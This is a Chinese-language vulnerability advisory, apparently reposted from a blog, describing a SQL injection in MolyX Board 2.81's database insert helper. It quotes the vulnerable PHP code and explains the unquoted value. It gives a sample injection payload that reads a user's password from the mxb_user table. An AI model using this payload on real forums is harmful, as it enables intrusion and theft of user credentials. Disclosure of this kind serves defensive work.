影响版本:
MolyX Board 2.81
程序介绍:
魔力论坛(MolyX Board) 是魔力系列Web应用软件产品之一,由魔力工作室(MolyX Studios) 经过数年的市场技术调研及学习研究,在融合了当今众多论坛程序技术和实践优点的基础上,针对中国人的使用习惯开发研制的一款功能强大、速度飞快、性能卓越、安全性极高的论坛系统。其采用PHP及MySql构建,整体架构采用最先进的面向对象思想,在功能、速度、性能、安全及开发理念和创新意识上均超越了目前国内外市场同类产品。魔力论坛推出的短短数月间,就获得了大量用户和业界专家的一致好评和认可,越来越多的用户选择了魔力论坛作为应用网站论坛社区的解决方案。
漏洞分析:
includes/db/db_base.php 注入
- function insert($table, $array, $type = ‘INSERT’, $func = ‘query_unbuffered’)
- if (($sql = $this->sql_insert($table, $array, $type)))
- {
- return $this->$func($sql);
- }
- return false;
接着看sql_insert()函数
- function sql_insert($table, $array, $type = ‘INSERT’, $prefix = ‘INSERT’)
- if (!is_array($array) || emptyempty($array))
- {
- return false;
- }
- return "$prefix INTO $table " . $this->sql_clause($type, $array);
再看sql_clause()函数
- function sql_clause($query, $array)
- {
- if (!is_array($array))
- {
- return false;
- }
- $query = strtoupper($query);
- $fields = $values = ”;
- if ($query == ‘INSERT’ || $query == ‘INSERT_SELECT’)
- {
- foreach ($array as $key => $var)
- {
- $fields .= ‘, `’ . $key . ‘`’;
- if (is_array($var) && is_string($var[0]))
- {
- // INSERT SELECT
- $values .= ‘, ‘ . $var[0];
- }
- else
- {
- $values .= ‘, ‘ . $this->validate($var);
- }
- }
- $fields = substr($fields, 2);
- $values = substr($values, 2);
- $query = ($query == ‘INSERT’) ? ‘ (‘ . $fields . ‘) VALUES (‘ . $values . ‘)’ : ‘ (‘ . $fields . ‘) SELECT ‘ . $values . ‘ ‘;
- }
- …………………………………省略无关代码
$values .= ‘, ‘ . $var[0]; 变量$var[0]两边并没有用到单引号,问题产生了!!
但要注意global.php中的init_input()函数对全局变量做了array(‘ ’, ‘<!–‘, ‘–>’, ‘>’, ‘<‘, ‘"’, ‘!’, "’", "\n", ‘$’, "\r")过滤成array(‘ ‘, ‘<!–‘, ‘–>’, ‘>’, ‘<’, ‘"’, ‘!’, ‘'’, ‘<br />’, ‘$’, ”)
漏洞利用:
查找$DB->insert(),跟下它的第二个参数是否有我们能利用的变量,然后跟据流程构造提交.
如:$aa[]=0,(select+password+from+mxb_user+where+id=1),0,0)%23
解决方案:
厂商补丁:
MolyX Board
——–
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.molyx.com/
信息来源:
<*来源: Mr_Xhming’s Blog
链接: http://hi.baidu.com/mr_xhming
*>
0 条评论。